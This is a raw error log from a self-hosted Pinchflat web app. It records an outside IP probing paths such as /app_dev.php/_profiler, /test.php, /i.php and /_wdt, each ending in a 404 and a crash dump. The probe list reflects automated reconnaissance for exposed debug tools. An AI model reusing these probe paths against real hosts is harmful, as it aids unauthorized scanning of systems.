PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/app_dev.php/_profiler", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgl04cvcBFDAACMth"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21667.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php/_profiler", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37332}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app_dev.php/_profiler (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21667.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php/_profiler", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37332}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21668.0>, params: %{}, path_info: ["app_dev.php", "_profiler"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/app_dev.php/_profiler", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 15:40:38.461 [info] GET /test.php 15:40:38.462 [debug] QUERY OK source="settings" db=0.1ms idle=177.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.462 [debug] QUERY OK source="settings" db=0.0ms idle=112.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.462 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:38.462 [error] #PID<0.21670.0> running PinchflatWeb.Endpoint (connection #PID<0.21669.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /test.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21669.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37336}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21670.0>, params: %{}, path_info: ["test"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/test.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgmEdV2tV0JAACMuB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21669.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37336}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21669.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37336}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21670.0>, params: %{}, path_info: ["test"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/test.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgmEdV2tV0JAACMuB"} ], scheme: :http, script_name: [], secret_key_base: :..., (truncated) 15:40:38.514 [info] GET /app_dev.php 15:40:38.515 [debug] QUERY OK source="settings" db=0.2ms idle=164.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.515 [debug] QUERY OK source="settings" db=0.0ms idle=118.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.515 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:38.515 [error] #PID<0.21672.0> running PinchflatWeb.Endpoint (connection #PID<0.21671.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /app_dev.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app_dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21671.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37338}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21672.0>, params: %{}, path_info: ["app_dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/app_dev.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgmRCt7WLbAsABcWi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21671.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37338}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app_dev (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21671.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37338}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21672.0>, params: %{}, path_info: ["app_dev"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/app_dev.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgmRCt7WLbAsABcWi"} ], scheme: :http, script_name: [], (truncated) 15:40:38.573 [info] GET /i.php 15:40:38.573 [debug] QUERY OK source="settings" db=0.1ms idle=176.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.573 [debug] QUERY OK source="settings" db=0.0ms idle=111.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.573 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:38.574 [error] #PID<0.21674.0> running PinchflatWeb.Endpoint (connection #PID<0.21673.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /i.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /i (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21673.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/i.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37342}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21674.0>, params: %{}, path_info: ["i"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/i.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgmfD0RMnBBMACMuh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21673.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/i.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37342}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /i (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21673.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/i.php", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37342}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21674.0>, params: %{}, path_info: ["i"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/i.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAgmfD0RMnBBMACMuh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, (truncated) 15:40:38.627 [info] GET /_wdt 15:40:38.627 [debug] QUERY OK source="settings" db=0.0ms idle=165.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.627 [debug] QUERY OK source="settings" db=0.0ms idle=112.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:38.627 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:38.628 [error] #PID<0.21676.0> running PinchflatWeb.Endpoint (connection #PID<0.21675.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /_wdt ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_wdt (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21675.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_wdt", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 37346}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21676.0>, params: %{}, path_info: ["_wdt"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", 